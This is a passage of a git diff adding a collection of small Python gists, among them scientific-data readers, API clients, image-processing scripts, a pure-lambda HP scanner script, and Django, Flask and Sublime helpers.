+    s.sendto(reply.pack(),peer)
+
+
+def main():
+    r = redis.Redis()
+    while True:
+        data,peer = s.recvfrom(8192)
+        gevent.spawn(dns_handler, s, peer, data, r)
+
+if __name__ == '__main__':
+    main()
diff --git a/hard-gists/1074551/._snippet.py b/hard-gists/1074551/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1074551/._snippet.py differ
diff --git a/hard-gists/1074551/snippet.py b/hard-gists/1074551/snippet.py
new file mode 100644
index 00000000..1581f958
--- /dev/null
+++ b/hard-gists/1074551/snippet.py
@@ -0,0 +1,51 @@
+import sys
+import os
+import odbAccess
+import numpy as NP
+import math
+
+def open_odb(odbPath):
+    base, ext = os.path.splitext(odbPath)
+    odbPath = base + '.odb'
+    new_odbPath = None
+    if odbAccess.isUpgradeRequiredForOdb(upgradeRequiredOdbPath=odbPath):
+        print('odb %s needs upgrading' % (odbPath,))
+        path,file_name = os.path.split(odbPath)
+        file_name = base + "_upgraded.odb"
+        new_odbPath = os.path.join(path,file_name)
+        odbAccess.upgradeOdb(existingOdbPath=odbPath, upgradedOdbPath=new_odbPath)
+        odbPath = new_odbPath
+    odb = odbAccess.openOdb(path=odbPath, readOnly=True)
+    return odb
+
+def max_result(odb, result):
+    result_field, result_invariant = result
+    _max = -1.0e20
+    for step in odb.steps.values():
+        print 'Processing Step:', step.name
+        for frame in step.frames:
+            if frame.frameValue > 0.0:
+                allFields = frame.fieldOutputs
+                if (allFields.has_key(result_field)):
+                    stressSet = allFields[result_field]
+                    for stressValue in stressSet.values:
+                        if result_invariant:
+                            if hasattr(stressValue, result_invariant.lower()):
+                                val = getattr(stressValue,result_invariant.lower())
+                            else:
+                                raise ValueError('Field value does not have invariant %s' % (result_invariant,))
+                        else:
+                            val = stressValue.data
+                        if ( val > _max):
+                            _max = val
+                else:
+                    raise ValueError('Field output does not have field %s' % (results_field,))
+    return _max
+
+if __name__ == '__main__':
+    odb_name = sys.argv[1]
+    print odb_name
+    odb = open_odb(odb_name)
+    max_mises = max_result(odb,('S','mises'))
+    max_peeq = max_result(odb,('PEEQ',''))
+    print max_mises, max_peeq
diff --git a/hard-gists/1077318/._snippet.py b/hard-gists/1077318/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1077318/._snippet.py differ
diff --git a/hard-gists/1077318/snippet.py b/hard-gists/1077318/snippet.py
new file mode 100644
index 00000000..a9a48e3d
--- /dev/null
+++ b/hard-gists/1077318/snippet.py
@@ -0,0 +1,57 @@
+#Sample PLOS api code for use with python Solr library Sunburnt
+#( https://github.com/tow/sunburnt )
+#!Note! requires sunburnt's external libraries: httplib2,lxml 
+#https://groups.google.com/d/topic/plos-api-developers/zv591sFz6TM/discussion
+
+import sunburnt,urllib2
+class PlosInterface(sunburnt.SolrInterface):
+    def __init__(self,api_key):
+        plos_url = "http://api.plos.org/search"
+        #either
+	plos_schema  = urllib2.urlopen("http://api.plos.org/search-examples/schema.xml")
+	#or (be polite, use stored file instead of urlopen)
+	#plos_schema = open('/home/dbuschho/workspace/publication_timeline/plos_schema.xml')
+						#localfile handle open('../plos_schema.xml') from
+                                                #http://api.plos.org/search-examples/schema.xml
+        #Python base class magic ... make this class a SolrInterface like object
+        #note that schemadoc if requested by url will be loaded                                      
+        super(PlosInterface, self).__init__(url=plos_url,schemadoc=plos_schema)
+        #Replace default connection with one that 
+        self.conn = PlosInterface.PlosConnection(url=plos_url,api_key=api_key)    
+    
+    #Create specific PlosConnection subclass of SolrConnection
+    #to force addition of API_KEY query param to all queries
+    #(defined within PlosInterface class to keep namespace clean)
+    class PlosConnection(sunburnt.sunburnt.SolrConnection):
+        api_key = None
+        def __init__(self, url, api_key):
+            self.api_key = api_key
+            super(PlosInterface.PlosConnection, self).__init__(url=url)
+        def select(self, params):
+            params.append((u'api_key',self.api_key))
+            return sunburnt.sunburnt.SolrConnection.select(self,params)
+
+
+
+#Actual test code
+if __name__ == '__main__':
+    plos_interface = PlosInterface(api_key=u'1234567')
+    
+    count   = 0 #Count number of results printed
+    start   = 0
+    rows    =10
+    
+    while True:
+        results = plos_interface.query(title=u'Chemistry').paginate(start,rows).execute()
+                            #handle while loop bookkeeping
+        start += rows       #increment query loop
+        
+	if(not results):    #stop loop if no more results
+            break           #see http://stackoverflow.com/questions/6631128
+        
+        #Actually do something with data received
+        for result in results:
+            print result
+            count += 1
+        
+    print count
\ No newline at end of file
diff --git a/hard-gists/1077970/._snippet.py b/hard-gists/1077970/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1077970/._snippet.py differ
diff --git a/hard-gists/1077970/snippet.py b/hard-gists/1077970/snippet.py
new file mode 100644
index 00000000..9d70de50
--- /dev/null
+++ b/hard-gists/1077970/snippet.py
@@ -0,0 +1,27 @@
+import pyodbc
+import sys
+import csv
+
+conn = pyodbc.connect('Driver={Microsoft Access Driver (*.mdb, *.accdb)};DBQ=C:\the\path\to\the.accdb;')
+cursor = conn.cursor()
+
+def output_col(col):
+  if col:
+    if isinstance(col, unicode):
+      return col.encode('utf-8')
+    else:
+      return str(col)
+  else:
+    return ""
+
+cursor.execute(sys.argv[1])
+row = cursor.fetchone()
+
+writer = csv.writer(open(sys.argv[2], 'wb'), delimiter='\t', quoting=csv.QUOTE_NONE)
+
+writer.writerow([t[0] for t in row.cursor_description])
+while 1:
+  if not row:
+    break
+  writer.writerow(map(output_col, row))
+  row = cursor.fetchone()
diff --git a/hard-gists/10792332/._snippet.py b/hard-gists/10792332/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/10792332/._snippet.py differ
diff --git a/hard-gists/10792332/snippet.py b/hard-gists/10792332/snippet.py
new file mode 100644
index 00000000..0355c1a9
--- /dev/null
+++ b/hard-gists/10792332/snippet.py
@@ -0,0 +1,137 @@
+# So, this is a port of a fairly simple script from "normal Python" to "pure-lambda
+# Python". This code contains no Python statements, and is a proof-of-concept to show
+# what you can do without statements, and how powerful Python's lambdas are despite
+# that they are crippled.
+#
+# A few notes on how to read this:
+# 1. Almost everything happens in the arguments. Practially nothing happens 
+#    inside function bodies, since the function bodies are usually just other 
+#    functions. Go down to the bottom of the expression (using your editor's
+#    paren matching) to see what the arguments are.
+# 2. Python doesn't enforce any indentation requirements within parentheses, so
+#    I've tried to lay out everything according to nesting depth.
+# 3. This may be contorted, but it isn't supposed to be obfuscated! Leave a comment
+#    if there's anything I can explain better.
+#
+# Enjoy - remember that I'm not responsible for any of the following:
+#  - Sudden enlightenment
+#  - Uncontrollable weeping
+#  - Brain melting/explsion
+#
+# (Consider this licensed under the CC0, although I doubt you'll want to put this
+# anywhere near your other code: it may bite)
+
+(
+    # 1. functools and xml.etree.ElementTree are required in order to define 
+    #    the 'get_subnode' utillity function. This is a way to emulate Lisp's
+    #    let* or ML's letrec.
+    (lambda functools, ElementTree:
+        # 2. Import a series of modules, useful constants, and the 'get_subnode' function.
+        #    - SCANNER_XML_NS and SCAN_JOB_XML_NS are, as you probably guessed, 
+        #      XML namespaces used by HP printers.
+        #    - SCAN_PAYLOAD is a chunk of XML which directs the scanner to scan
+        #      and return a JPEG image.
+        #    - SCAN_HEADER modifies the HTTP headers to modify the Content-Type
+        #      to XML.
+        (lambda sys, time, urlrequest, get_subnode, SCANNER_XML_NS, SCAN_JOB_XML_NS, SCAN_PAYLOAD, SCAN_HEADER:
+            # 3. Gets the current status on the scanner - if the scanner is 
+            #    working (has a non-empty state), then exit the program.
+            (lambda root:
+                get_subnode(root, SCANNER_XML_NS + 'ScannerState').text != '\n        ' and
+                #  4. Gets the list of jobs.
+                (lambda root:
+                    # 5. Find out which job is 
+                    #    currently being processed. Get the query URL (so we can check
+                    #    the printer and ask when the job is done) and the image URL
+                    #    (to download the image itself).
+                    (lambda job_image_url:
+                        # 6. Poll the scanner, and wait until it is ready to
+                        #    give us the image. The waiting is done via recursion,
+                        #    which is implemented via what is basically the omega
+                        #    combinator (similar to the Y, but the callee doesn't
+                        #    take any arguments other than itself).
+                        #
+                        #    When the recursion exits, download the image itself,
+                        #    and exit the program.
+                        (lambda f:
+                            [f(f), urlrequest.urlretrieve('/'.join(['http:/', sys.argv[1], job_image_url[1]]), filename=sys.argv[2])]
+                        )(lambda g:
+                            g([time.sleep(2), g][1]) 
+                            if get_subnode(
+                                ElementTree.parse(
+                                    urlrequest.urlopen(
+                                        '/'.join(['http:/', sys.argv[1], job_image_url[0]])
+                                    )
+                                ).getroot(),
+                                SCANNER_XML_NS,
+                                'ScanJob', 'PreScanPage', 'PageState'
+                            ).text != 'ReadyToUpload'
+                            else True
+                        )
+                    )(
+                        [(job.find(SCAN_JOB_XML_NS + 'JobUrl').text.lstrip('/'),
+                            get_subnode(job, SCANNER_XML_NS,
+                                'ScanJob', 'PreScanPage', 'BinaryURL').text.lstrip('/'))
+                            for job in root
+                            if get_subnode(job, SCAN_JOB_XML_NS, 'JobState').text == 'Processing'
+                        ][0]
+                ))([
+                        urlrequest.urlopen(
+                            urlrequest.Request(
+                                '/'.join(['http:/', sys.argv[1], 'Scan', 'Jobs']),
+                                data=SCAN_PAYLOAD,
+                                headers=SCAN_HEADER)).close(),
+                        ElementTree.parse(
+                            urlrequest.urlopen(
+                                '/'.join(['http:/', sys.argv[1], 'Jobs', 'JobList'])
+                            )
+                        ).getroot()
+                    ][1]
+            ))(ElementTree.parse(
+                urlrequest.urlopen(
+                    '/'.join(['http:/', sys.argv[1], 'Scan', 'Status'])
+                )
+            ).getroot()
+        ))(__import__('sys'), 
+            __import__('time'),
+            __import__('urllib.request').request, 
+
+            # Digs down into an XML structure, and gets elements by name. Since
+            # the XML returned by the scanner is namespaced, this function applies
+            # an XML namespace to each of the element names.
+            (lambda root, prefix, *elems: 
+                functools.reduce(
+                    ElementTree.Element.find,
+                    map(lambda e: prefix + e, elems), 
+                    root)), 
+
+            '{http://www.hp.com/schemas/imaging/con/cnx/scan/2008/08/19}',
+            '{http://www.hp.com/schemas/imaging/con/ledm/jobs/2009/04/30}',
+            b'''<scan:ScanJob 
+xmlns:scan="http://www.hp.com/schemas/imaging/con/cnx/scan/2008/08/19" 
+xmlns:dd="http://www.hp.com/schemas/imaging/con/dictionaries/1.0/">
+    <scan:XResolution>300</scan:XResolution>
+    <scan:YResolution>300</scan:YResolution>
+    <scan:XStart>0</scan:XStart>
+    <scan:YStart>0</scan:YStart>
+    <scan:Width>2550</scan:Width>
+    <scan:Height>3300</scan:Height>
+    <scan:Format>Jpeg</scan:Format>
+    <scan:CompressionQFactor>25</scan:CompressionQFactor>
+    <scan:ColorSpace>Color</scan:ColorSpace>
+    <scan:BitDepth>8</scan:BitDepth>
+    <scan:InputSource>Platen</scan:InputSource>
+    <scan:GrayRendering>NTSC</scan:GrayRendering>
+        <scan:ToneMap>
+        <scan:Gamma>1000</scan:Gamma>
+        <scan:Brightness>1000</scan:Brightness>
+        <scan:Contrast>1000</scan:Contrast>
+        <scan:Highlite>179</scan:Highlite>
+        <scan:Shadow>25</scan:Shadow>
+    </scan:ToneMap>
+    <scan:ContentType>Photo</scan:ContentType>
+</scan:ScanJob>''',
+            {'Content-Type': 'text/xml'}
+            ))(__import__('functools'), 
+                __import__('xml.etree.ElementTree').etree.ElementTree)
+)
\ No newline at end of file
diff --git a/hard-gists/1082570/._snippet.py b/hard-gists/1082570/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1082570/._snippet.py differ
diff --git a/hard-gists/1082570/snippet.py b/hard-gists/1082570/snippet.py
new file mode 100644
index 00000000..1df1570e
--- /dev/null
+++ b/hard-gists/1082570/snippet.py
@@ -0,0 +1,45 @@
+from selenium import webdriver
+from selenium import selenium
+from webdriver import DesiredCapabilities
+import re
+
+to_cities = ['toulouse', 'bordeaux', 'marseille']
+from_cities = [
+                'paris',
+                'toulouse',
+                'bordeaux',
+                'nimes',
+                'montpellier',
+                'lille',
+                'lyon',
+                'nice',
+                'toulon',
+                'marseille',
+                'sophia'
+                ]
+source_url = 'http://www.autoroutes.fr/fr/itineraires.htm?itiFrom=%s&itiTo=%s'
+desired_capabilities = dict( platform = "WINDOWS",
+                                    browserName = "firefox",
+                                    version = "3.6",
+                                    name = "Get french highway car cost" )
+driver = webdriver.Remote( desired_capabilities = desired_capabilities,
+                          command_executor = 'http://YOUR_SAUCELABS_CREDENTIALS_HERE@ondemand.saucelabs.com:80/wd/hub' )
+#the duration and cost load via ajax so add a timer to permit the datas to load
+driver.implicitly_wait( 30 )
+for city in from_cities :
+    for destination in to_cities :
+        if destination != city :
+            completed_url = source_url % ( city, destination )
+            driver.get( completed_url )
+            price = driver.find_element_by_xpath( "//div[@id='dSummaryMsg']/b[3]" )
+            time = driver.find_element_by_xpath( "//div[@id='dSummaryMsg']/b[2]" )
+            print( city
+                   + " "
+                   + destination
+                   + " "
+                   + re.search( '\d+\.\d+', price.text ).group( 0 )
+                   + " "
+                   + re.search( '\d+H\d+', time.text ).group( 0 )
+                )
+
+driver.quit()
\ No newline at end of file
diff --git a/hard-gists/1083908/._snippet.py b/hard-gists/1083908/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1083908/._snippet.py differ
diff --git a/hard-gists/1083908/snippet.py b/hard-gists/1083908/snippet.py
new file mode 100644
index 00000000..d44b87a4
--- /dev/null
+++ b/hard-gists/1083908/snippet.py
@@ -0,0 +1,56 @@
+import objc
+from AppKit import *
+from Foundation import *
+
+class Alert(object):
+    
+    def __init__(self, messageText):
+        super(Alert, self).__init__()
+        self.messageText = messageText
+        self.informativeText = ""
+        self.buttons = []
+    
+    def displayAlert(self):
+        alert = NSAlert.alloc().init()
+        alert.setMessageText_(self.messageText)
+        alert.setInformativeText_(self.informativeText)
+        alert.setAlertStyle_(NSInformationalAlertStyle)
+        for button in self.buttons:
+            alert.addButtonWithTitle_(button)
+        NSApp.activateIgnoringOtherApps_(True)
+        self.buttonPressed = alert.runModal()
+    
+def alert(message="Default Message", info_text="", buttons=["OK"]):    
+    ap = Alert(message)
+    ap.informativeText = info_text
+    ap.buttons = buttons
+    ap.displayAlert()
+    return ap.buttonPressed
+
+def cocoa_dialogs(fn):
+    class MainRunner(object):
+        def runWithShutdown_(self, timer):
+            fn()
+            NSApp.stop_(None)
+
+        def run(self):
+            NSTimer.scheduledTimerWithTimeInterval_target_selector_userInfo_repeats_(1, self, 'runWithShutdown:', "", False)                    
+                    
+    def wrapped():
+        NSApplication.sharedApplication()
+        MainRunner().run()
+        NSApp.run()
+        
+    return wrapped
+
+@cocoa_dialogs
+def main():
+    alert("Hello!", "We'll rule the world...in Python!", ["OK"])
+    print "I love it"
+    #big time computation
+    x = 10000 + 1
+    alert("Some Error?", "Maybe something bad happened?", ["Oh Well", "Thanks"])
+    print "End of the code"
+    
+if __name__ == "__main__":
+    main()
diff --git a/hard-gists/1088273/._snippet.py b/hard-gists/1088273/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1088273/._snippet.py differ
diff --git a/hard-gists/1088273/snippet.py b/hard-gists/1088273/snippet.py
new file mode 100644
index 00000000..6bdbc13d
--- /dev/null
+++ b/hard-gists/1088273/snippet.py
@@ -0,0 +1,42 @@
+"""Usage: python matchcolors.py good.jpg bad.jpg save-corrected-as.jpg"""
+
+from scipy.misc import imread, imsave
+from scipy import mean, interp, ravel, array
+from itertools import izip
+import sys
+
+def mkcurve(chan1,chan2):
+    "Calculate channel curve by averaging target values."
+    fst = lambda p: p[0]
+    snd = lambda p: p[1]
+    sums = {}
+    for v1, v2 in izip(ravel(chan1), ravel(chan2)):
+        old = sums.get(v1, [])
+        sums.update({v1: old + [v2]})
+    c = array( [ (src,mean(vals))
+                 for src,vals in sorted(sums.iteritems()) ])
+    nvals = interp(range(256), c[:,0], c[:,1], 0, 255)
+    return dict(zip(range(256), nvals))
+
+def correct_bad(good, bad):
+    "Match colors of the bad image to good image."
+    r, g, b = bad.transpose((2,0,1))
+    r2, g2, b2 = good.transpose((2,0,1))
+    rc = mkcurve(r,r2)
+    gc = mkcurve(g,g2)
+    bc = mkcurve(b,b2)
+    corr = bad.copy()
+    h, w = corr.shape[:2]
+    for row in xrange(h):
+        for col in xrange(w):
+            r,g,b = corr[row,col]
+            corr[row,col] = [rc[r], gc[g], bc[b]]
+    return corr
+
+if __name__ == "__main__":
+    good, bad, saveas = sys.argv[1:1+3]
+    good = imread(good)
+    bad = imread(bad)
+    assert(good.shape == bad.shape)
+    corrected = correct_bad(good,bad)
+    imsave(saveas, corrected)
diff --git a/hard-gists/1091026/._snippet.py b/hard-gists/1091026/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1091026/._snippet.py differ
diff --git a/hard-gists/1091026/snippet.py b/hard-gists/1091026/snippet.py
new file mode 100644
index 00000000..7118bcb5
--- /dev/null
+++ b/hard-gists/1091026/snippet.py
@@ -0,0 +1,11 @@
+import sublime_plugin
+
+class StripTrailingWhitespaceCommand(sublime_plugin.TextCommand):
+    """
+    Strip whitespace from the end of each line in the file.
+    """
+    def run(self, edit):
+        trailing_white_space = self.view.find_all("[\t ]+$")
+        trailing_white_space.reverse()
+        for r in trailing_white_space:
+            self.view.erase(edit, r)
diff --git a/hard-gists/10938795/._snippet.py b/hard-gists/10938795/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/10938795/._snippet.py differ
diff --git a/hard-gists/10938795/snippet.py b/hard-gists/10938795/snippet.py
new file mode 100644
index 00000000..403f04be
--- /dev/null
+++ b/hard-gists/10938795/snippet.py
@@ -0,0 +1,25 @@
+import flask
+from flask.ext.classy import FlaskView, route
+from functools import wraps
+
+def charset_utf8(viewmethod):
+    # Let's update the 'Content-Type' in the HTTP header to tell the browser that the data we're 
+    # responding with has utf-8 character encoding.
+    @wraps(viewmethod)
+    def new_viewmethod(*args, **kwargs):
+        resp = viewmethod(*args, **kwargs)
+        resp.headers['Content-Type'] += ';charset=utf-8'
+        return resp
+    return new_viewmethod
+
+# Then you'd do something like...
+
+class JSON(FlaskView):
+    route_base = '/json/'
+    
+    @route('query/<int:id>/', methods=["GET"])
+    @charset_utf8 # using our cool new decorator
+    def query_by_id(self, id):
+        res = solr_connection_or_whatever.search("id:%d" % id)
+        response = flask.jsonify(**res)
+        return response
\ No newline at end of file
diff --git a/hard-gists/1094832/._snippet.py b/hard-gists/1094832/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1094832/._snippet.py differ
diff --git a/hard-gists/1094832/snippet.py b/hard-gists/1094832/snippet.py
new file mode 100644
index 00000000..653819b0
--- /dev/null
+++ b/hard-gists/1094832/snippet.py
@@ -0,0 +1,25 @@
+"""
+sqlite3 database backend with non-synchronous mode.
+
+It gives you a huge performance boost by turning off the overzealous
+synchronous operation mode. The tradeoff is less data protection in case of
+power outages but come on, you were not going to use it in production, were you?
+"""
+from django.db.backends.sqlite3.base import (
+    DatabaseWrapper as Sqlite3Wrapper,
+    DatabaseError,
+    IntegrityError,
+    DatabaseFeatures,
+    DatabaseOperations,
+)
+
+__all__ = ['DatabaseWrapper', 'DatabaseError', 'IntegrityError',
+           'DatabaseFeatures', 'DatabaseOperations']
+
+class DatabaseWrapper(Sqlite3Wrapper):
+    def _cursor(self):
+        new_conn = self.connection is None
+        cur = super(DatabaseWrapper, self)._cursor()
+        if new_conn:
+            cur.execute('PRAGMA synchronous=OFF')
+        return cur
\ No newline at end of file
diff --git a/hard-gists/10955449/._snippet.py b/hard-gists/10955449/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/10955449/._snippet.py differ
diff --git a/hard-gists/10955449/snippet.py b/hard-gists/10955449/snippet.py
new file mode 100644
index 00000000..fbf590cc
--- /dev/null
+++ b/hard-gists/10955449/snippet.py
@@ -0,0 +1,62 @@
+#!/usr/bin/env python
+
+import urllib.request
+import json
+import pprint
+
+
+URL = 'http://www.thebluealliance.com/api/v2/'
+HEADER_KEY = 'X-TBA-App-Id'
+HEADER_VAL = 'frc1816:scouting-machine:1'
+
+
+# returns a list of the teams (team key) participating in an event
+def get_event_teams(event_key):
+	request = urllib.request.Request(URL + 'event/' + event_key + '/teams')
+	request.add_header(HEADER_KEY, HEADER_VAL)
+	response = urllib.request.urlopen(request)
+	jsonified = json.loads(response.read().decode("utf-8"))
+	teams = []
+
+	for team in jsonified:
+		teams.append(team['key'])
+
+	return teams
+
+# returns a list of the awards a team has won
+def get_team_awards(team_key):
+	request = urllib.request.Request(URL + 'team/' + team_key + '/2014')
+	request.add_header(HEADER_KEY, HEADER_VAL)
+	response = urllib.request.urlopen(request)
+	jsonified = json.loads(response.read().decode("utf-8"))
+	events = jsonified['events']
+	team_awards = []
+
+	for event in events:
+		for award in event['awards']:
+			team_awards.append(award['name'])
+
+	return team_awards
+
+
+def main():
+	# 2014arc, 2014new, 2014cur, 2014gal
+	teams = get_event_teams('2014gal')
+	chairmans_teams = []
+	chairmans_counter = 0
+
+	for team in teams:
+		print("Processing team: " + team)
+		awards = get_team_awards(team)
+		for award in awards:
+			if 'Regional Chairman\'s Award' in award:
+				chairmans_teams.append(team)
+				chairmans_counter = chairmans_counter + 1
+				break
+
+	print('Chairman\'s winners = ' + str(chairmans_counter))
+	print(chairmans_teams)
+
+
+if __name__ == "__main__":
+    main()
diff --git a/hard-gists/1096373/._snippet.py b/hard-gists/1096373/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1096373/._snippet.py differ
diff --git a/hard-gists/1096373/snippet.py b/hard-gists/1096373/snippet.py
new file mode 100644
index 00000000..2e42bea4
--- /dev/null
+++ b/hard-gists/1096373/snippet.py
@@ -0,0 +1,60 @@
+#!/usr/bin/python
+import SimpleCV
+import time
+import simplejson as json
+import sys
+
+if __name__ == "__main__":
+        captureDir = '/opt/display/applications/tldisplayclient/static'
+        ofilename = '%s/webcam-original.png' % captureDir
+        dfilename = '%s/webcam-detected.png' % captureDir
+
+        matches = 0
+        green = (0, 255, 0)
+        sleeptime = 2
+
+        try:
+                cam = SimpleCV.Camera()
+        except:
+                print "Can't open webcam"
+                sys.exit()
+
+        while 1:
+                tstart = time.time()
+
+                try:
+                        frame = cam.getImage()
+                        frame.save(ofilename)
+                except:
+                        print "Can't grab frame from webcam"
+                        sys.exit()
+
+                facedetect = frame.findHaarFeatures('/usr/local/share/opencv/haarcascades/haarcascade_frontalface_alt.xml')
+
+                # Only count if we find a face
+                if facedetect:
+                        # Count all the matches
+                        for f in facedetect:
+                                matches += 1
+                       
+                        # Draw boxes around matches
+                        facedetect.sortColorDistance(green)[0].draw(green)
+                        frame.save(dfilename)
+                else:
+                        # Otherwise, save the undetected image for comparison
+                        frame.save(dfilename)
+
+                faces = {"faces": matches, "taken": time.time()}
+
+                tfinish = time.time()
+                faces['elapsed'] = tfinish - tstart
+
+                facesjson = json.dumps(faces)
+
+                f = open("/opt/display/applications/tldisplayclient/static/faces.json", 'w')
+                f.write(facesjson)
+                f.close()
+                matches = 0
+                time.sleep(sleeptime)
+
+        sys.exit()
\ No newline at end of file
diff --git a/hard-gists/1098968/._snippet.py b/hard-gists/1098968/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1098968/._snippet.py differ
diff --git a/hard-gists/1098968/snippet.py b/hard-gists/1098968/snippet.py
new file mode 100644
index 00000000..63d7edc9
--- /dev/null
+++ b/hard-gists/1098968/snippet.py
@@ -0,0 +1,53 @@
+#!/usr/bin/python
+
+import glob
+import os
+import sys
+
+from PIL import Image
+
+EXTS = 'jpg', 'jpeg', 'JPG', 'JPEG', 'gif', 'GIF', 'png', 'PNG'
+
+def avhash(im):
+    if not isinstance(im, Image.Image):
+        im = Image.open(im)
+    im = im.resize((8, 8), Image.ANTIALIAS).convert('L')
+    avg = reduce(lambda x, y: x + y, im.getdata()) / 64.
+    return reduce(lambda x, (y, z): x | (z << y),
+                  enumerate(map(lambda i: 0 if i < avg else 1, im.getdata())),
+                  0)
+
+def hamming(h1, h2):
+    h, d = 0, h1 ^ h2
+    while d:
+        h += 1
+        d &= d - 1
+    return h
+
+if __name__ == '__main__':
+    if len(sys.argv) <= 1 or len(sys.argv) > 3:
+        print "Usage: %s image.jpg [dir]" % sys.argv[0]
+    else:
+        im, wd = sys.argv[1], '.' if len(sys.argv) < 3 else sys.argv[2]
+        h = avhash(im)
+
+        os.chdir(wd)
+        images = []
+        for ext in EXTS:
+            images.extend(glob.glob('*.%s' % ext))
+
+        seq = []
+        prog = int(len(images) > 50 and sys.stdout.isatty())
+        for f in images:
+            seq.append((f, hamming(avhash(f), h)))
+            if prog:
+                perc = 100. * prog / len(images)
+                x = int(2 * perc / 5)
+                print '\rCalculating... [' + '#' * x + ' ' * (40 - x) + ']',
+                print '%.2f%%' % perc, '(%d/%d)' % (prog, len(images)),
+                sys.stdout.flush()
+                prog += 1
+
+        if prog: print
+        for f, ham in sorted(seq, key=lambda i: i[1]):
+            print "%d\t%s" % (ham, f)
\ No newline at end of file
diff --git a/hard-gists/10a742de43246210f3ba/._snippet.py b/hard-gists/10a742de43246210f3ba/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/10a742de43246210f3ba/._snippet.py differ
diff --git a/hard-gists/10a742de43246210f3ba/snippet.py b/hard-gists/10a742de43246210f3ba/snippet.py
new file mode 100644
index 00000000..80c0e439
--- /dev/null
+++ b/hard-gists/10a742de43246210f3ba/snippet.py
@@ -0,0 +1,21 @@
+import gensim
+import codecs
+from gensim.models import Word2Vec
+import json
+ 
+def export_to_file(path_to_model, output_file):
+	output = codecs.open(output_file, 'w' , 'utf-8')
+	model = Word2Vec.load_word2vec_format(path_to_model, binary=True)
+	vocab = model.vocab
+	for mid in vocab:
+		#print(model[mid])
+		print(mid)
+		vector = list()
+		for dimension in model[mid]:
+			vector.append(str(dimension))
+		#line = { "mid": mid, "vector": vector  }
+		vector_str = ",".join(vector)
+		line = mid + "\t"  + vector_str
+		#line = json.dumps(line)
+		output.write(line + "\n")
+	output.close()
\ No newline at end of file
diff --git a/hard-gists/10cd35b2872628246140/._snippet.py b/hard-gists/10cd35b2872628246140/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/10cd35b2872628246140/._snippet.py differ
diff --git a/hard-gists/10cd35b2872628246140/snippet.py b/hard-gists/10cd35b2872628246140/snippet.py
new file mode 100644
index 00000000..f6a13cd1
--- /dev/null
+++ b/hard-gists/10cd35b2872628246140/snippet.py
@@ -0,0 +1,63 @@
+#!/usr/bin/python3
+# vim:fileencoding=utf-8:sw=4:et
+
+# Convert between pygobject Pixbuf and PIL/Pillow image format
+# Also a function to do fast gamma correction with Pillow image
+
+from __future__ import print_function, unicode_literals, absolute_import
+import sys
+
+from gi.repository import GLib, GdkPixbuf
+from PIL import Image
+
+def pixbuf2image(pix):
+    """Convert gdkpixbuf to PIL image"""
+    data = pix.get_pixels()
+    w = pix.props.width
+    h = pix.props.height
+    stride = pix.props.rowstride
+    mode = "RGB"
+    if pix.props.has_alpha == True:
+        mode = "RGBA"
+    im = Image.frombytes(mode, (w, h), data, "raw", mode, stride)
+    return im
+
+def image2pixbuf(im):
+    """Convert Pillow image to GdkPixbuf"""
+    data = im.tobytes()
+    w, h = im.size
+    data = GLib.Bytes.new(data)
+    pix = GdkPixbuf.Pixbuf.new_from_bytes(data, GdkPixbuf.Colorspace.RGB,
+            False, 8, w, h, w * 3)
+    return pix
+
+def do_gamma(im, gamma):
+    """Fast gamma correction with PIL's image.point() method"""
+    invert_gamma = 1.0/gamma
+    lut = [pow(x/255., invert_gamma) * 255 for x in range(256)]
+    lut = lut*3 # need one set of data for each band for RGB
+    im = im.point(lut)
+    return im
+
+def test_i2p(infile, outfile):
+    im = Image.open(infile)
+    pix = image2pixbuf(im)
+    pix.savev(outfile, "png", (), ())
+
+def test_p2i(infile, outfile):
+    pix = GdkPixbuf.Pixbuf.new_from_file(infile)
+    im = pixbuf2image(pix)
+    # FIXME: We also test gamma correction here
+    im = do_gamma(im, 1.8)
+    im.save(outfile)
+
+def main():
+    infile = sys.argv[1]
+    outfile = "pixpil-test.png"
+    test_p2i(infile, outfile)
+    #test_i2p(infile, outfile)
+    print("result saved to {}".format(outfile))
+
+if __name__ == '__main__':
+    main()
+
diff --git a/hard-gists/1104507/._snippet.py b/hard-gists/1104507/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1104507/._snippet.py differ
diff --git a/hard-gists/1104507/snippet.py b/hard-gists/1104507/snippet.py
new file mode 100644
index 00000000..f4630358
--- /dev/null
+++ b/hard-gists/1104507/snippet.py
@@ -0,0 +1,26 @@
+#!/usr/bin/env python
+# numpy and biopython are required -- pip install numpy biopython
+
+from Bio import Entrez
+from Bio import Medline
+
+MAX_COUNT = 10
+TERM = 'Tuberculosis'
+
+print('Getting {0} publications containing {1}...'.format(MAX_COUNT, TERM))
+Entrez.email = 'A.N.Other@example.com'
+h = Entrez.esearch(db='pubmed', retmax=MAX_COUNT, term=TERM)
+result = Entrez.read(h)
+print('Total number of publications containing {0}: {1}'.format(TERM, result['Count']))
+ids = result['IdList']
+h = Entrez.efetch(db='pubmed', id=ids, rettype='medline', retmode='text')
+records = Medline.parse(h)
+
+authors = []
+for record in records:
+    au = record.get('AU', '?')
+    for a in au: 
+        if a not in authors:
+            authors.append(a)
+    authors.sort()
+print('Authors: {0}'.format(', '.join(authors)))
\ No newline at end of file
diff --git a/hard-gists/1104553/._snippet.py b/hard-gists/1104553/._snippet.py
new file mode 100644
